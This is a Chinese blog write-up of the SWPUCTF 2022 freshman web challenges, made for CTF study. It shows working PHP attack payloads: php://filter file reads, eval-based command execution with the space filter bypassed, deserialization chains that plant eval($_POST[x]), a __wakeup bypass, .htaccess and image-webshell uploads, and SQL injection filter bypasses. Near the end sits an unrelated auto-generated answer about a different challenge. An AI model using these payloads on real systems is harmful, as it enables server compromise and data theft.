SWPUCTF 2022新生赛 web部分wp

😋大家好,我是YAy_17,是一枚爱好网安的小白。 

本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。

⭐️此后如竟没有炬火,我便是唯一的光。⭐️

目录

[SWPUCTF 2022 新生赛]ez_ez_php

[SWPUCTF 2022 新生赛]ez_rce

[SWPUCTF 2022 新生赛]numgame

[SWPUCTF 2022 新生赛]奇妙的MD5

[SWPUCTF 2022 新生赛]xff

[SWPUCTF 2022 新生赛]webdog1__start

[SWPUCTF 2022 新生赛]1z_unserialize

[SWPUCTF 2022 新生赛]ez_ez_unserialize

[SWPUCTF 2022 新生赛]Ez_upload

[SWPUCTF 2022 新生赛]js_sign

[SWPUCTF 2022 新生赛]ez_sql

[SWPUCTF 2022 新生赛]funny_web

[SWPUCTF 2022 新生赛]ez_1zpop

[SWPUCTF 2022 新生赛]file_master


[SWPUCTF 2022 新生赛]ez_ez_php

substr()函数:substr(string,start,length)

substr() 函数返回字符串的一部分。

注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

?file=php://filter/read=convert.base64-encode/resource=flag.php

根据回显内容进行base64解码,发现真正的flag在/flag,修改payload即可,将回显内容进行base64解码;得到flag;

[SWPUCTF 2022 新生赛]ez_rce

源码什么都没有,抓个包看一下:发现还是什么都没有;robots.txt文件看一下吧:

访问目标文件:发现

拿工具测试一下就好:

查找flag位置的时候,在根目录下面并没有发现flag,而是在/nss/ctf/flag/flag中:

[SWPUCTF 2022 新生赛]numgame

发现还是看不了源代码,还是抓包看看什么回显:在相应包中发现了js文件:

访问一下看看,文件名有点东西:

在文件内容的最后,发现base64编码的类似flag的东西,base64解码:

首先看到的就是在正则过滤中,没有过滤大小写,因此我们可以通过大写来绕过;其次就是类名加上“::”再加上函数名来访问类中的函数;

http://xxxxx/NsScTf.php?p=Nss2::Ctf //这里要先写Nss::Ctf 回显提示我们类名是Nss2

[SWPUCTF 2022 新生赛]奇妙的MD5

结合题目是有关于md5的,同时界面提示我们:

ffif...?ffifdyop MD5后=='or'6...填上试试先:

过了,看看源码,发现存在着注释:

数组绕过即可;

继续数组绕过即可;

[SWPUCTF 2022 新生赛]xff

抓包修改一下数据包的字段:

[SWPUCTF 2022 新生赛]webdog1__start

源码看一下,抓包再看一下:

这里是传递一个参数为web,web的值经过md5加密之后还是等于(弱类型)web的原值:(0e215962017这个值加密之后还是0e开头)

出现了很多的链接,但是除了第一个链接之外,其他的都404,但是第一个链接打开之后只是一篇文章而已,也不是flag所在的地方啊;抓包看看再:

发现相应包中出现了提示:顺着提示往下做:

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }
}
?> 

strstr()函数:匹配空格是否在变量get中

str_ireplace("flag", " ", $get);将变量中的flag替换为空格;

所以system("ls%09/");空格用%09替换;system("cat%09/f*");

[SWPUCTF 2022 新生赛]1z_unserialize

<?php

class lyh{
     public $url = 'NSSCTF.com';
     public $lt;
     public $lly;
     function __destruct(){
         $a = $this->lt;
         $a($this->lly);
     }

}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>

看到这里存在着$a($this->lly);便能想到eval($_POST[_]);但是本题目是php5的环境,在此环境下eval不是函数而是一种语法结构;这里我让 public $lt = 'assert'; public $lly = 'eval($_POST[x]);';再进行序列化便可以得到目的:

[SWPUCTF 2022 新生赛]ez_ez_unserialize

 <?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

考察wakeup函数的绕过:只要序列化的中的成员数大于实际成员数,即可绕过

<?php
class X{
    public $x ;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if($this->x !== __FILE__){
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
echo serialize(new X("fllllllag.php"));
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改为O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}即可绕过wakeup函数;

[SWPUCTF 2022 新生赛]Ez_upload

该题目在上传文件的时候,发现需要更改MIME类型为:image/jpeg才行,其他都不行,同时文件名的后缀中不允许带有ph;那么就不能上传php3、pht等;尝试.htaccess文件的上传,发现上传成功;思路就有了,先上传.htaccess文件,再将图片马上传,将图片马解析为php即可;

flag在phpinfo中;

 <?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }
?>

L1 L2 L3全部存在,即可输出flag;三个条件:

  1. GET方式传递参数num,num的长度不超过3并且num的值必须大于999999999,可以用科学计数法9e9;
  2. GET方式传递参数str,str的值会经过preg_replace()函数,将NSSCTF替换为空,可以参数双写绕过;
  3. md5弱类型绕过即可

[SWPUCTF 2022 新生赛]js_sign

发现无论是输入什么都是弹窗fuck off!! 查看网页源代码:

发现在当前目录下,存在着main.js文件,访问该文件:

btoa()函数是js中的base64编码方法,等号后面便是一串经过base64编码的字符串,我们将其解码看下结果:

发现是敲击码;寻找在线解码平台将flag的值进行解码,提供如下的解码平台:

Tap Code - 许愿星

解码后的结果为:

最终的结果是NSSCTF{youfindflagbytapcode}

[SWPUCTF 2022 新生赛]ez_sql

相对安全的方式传参->POST;参数为nss;

POST方式传递参数值为1试试:

判断sql注入的类型:

字符型注入:接下来在判断列数的时候,发现过滤了空格和or,空格用/**/替换,or双写绕过即可;

同时发现union也被过滤,同样还是使用双写便可以绕过:

接下来就是查数据库,表名、列名、flag:

最终发现flag在secret中:

[SWPUCTF 2022 新生赛]funny_web

用户名是NSS;接下来又提示密码是招新群某个人的qq账号;

成功登录之后:

intval()函数:用于获取变量的整数值;所以我们可以传参一个小数如12345.5即可

[SWPUCTF 2022 新生赛]ez_1zpop

<?php
error_reporting(0);
class dxg{
     function fmm(){
        return "nonono";
     }
}
class lt{
     public $impo='hi';
     public $md51='weclome';
     public $md52='to NSS';
     function __construct(){
        $this->impo = new dxg;
     }
     function __wakeup(){
     $this->impo = new dxg;
     return $this->impo->fmm();
     }

     function __toString(){
        if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
            return $this->impo->fmm();
     }
     function __destruct(){
        echo $this;
     }
}
class fin{
     public $a;
     public $url =  'https://www.ctfer.vip';
     public $title;
     function fmm(){
        $b = $this->a;
        $b($this->title);
     }

if(isset($_GET['NSS'])) {
    $Data  =  unserialize($_GET['NSS']);
}else{
     highlight_file(__file__);
}
  1. GET方式传递参数NSS,反序列化NSS
  2. 在类fin中存在着fmm方法,该方法可以执行任意命令;
  3. 类lt中,存在魔术方法tostring,该方法时可以执行fmm方法的;但是需要满足md5弱类型检测;同时变量impo的值需要是fin类;
  4. 因此我们还要让impo变量的值为fin类,同时需要绕过wakeup函数;
$a = new lt();
$a->impo=new fin();
$a->md51='s878926199a';
$a->md52='s155964671a';
$a->impo->a='assert';
$a->impo->title='eval($_POST[x]);';
echo serialize($a);

[SWPUCTF 2022 新生赛]file_master

自己没学明白,在做这个题目的时候,忽然想到了phar反序列化???并不是反序列化的题目;

上传文件的时候,发现之后上传jpeg :

那么就上传“jpeg”文件吧:

提示文件头无效!加上GIF89a:

提示图像的宽和高必须小于20:

#去掉文件头GIF89a
加上下面两句:
#define height 1
#define width 1

发现就可以上传成功了,接下来写一句话木马上传:

发现被检测了,去掉php就没事,那就证明可能是正则匹配了php,改用短标签:

上传成功,到这里就已经打通了(根目录下面存在flag):

上传成功直接访问对应上传的路径即可!

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
回答: \[1\]中的代码片段是一个PHP代码示例,其中定义了三个类C1e4r、Show和Test,并创建了相应的对象。\[2\]中的代码片段是一个PHP文件,它包含了一些文件操作和类的实例化。\[3\]中的代码片段是一个POC(Proof of Concept)示例,用于演示一个可能的漏洞利用场景。根据提供的信息,这个问题可能是关于SWPUCTF 2018比中的一个题目,题目名称为"SimplePHP"。然而,由于提供的引用内容不完整,无法给出更具体的答案。如果您有关于这个问题的更多信息,请提供更多的上下文,以便我能够更好地回答您的问题。 #### 引用[.reference_title] - *1* [[SWPUCTF 2018]SimplePHP_wp](https://blog.csdn.net/lzu_lfl/article/details/127802053)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[SWPUCTF 2018]SimplePHP](https://blog.csdn.net/shinygod/article/details/124002143)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[SWPUCTF 2018]SimplePHP--一道简单的Phar反序列化题目](https://blog.csdn.net/qq_41401434/article/details/125323752)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值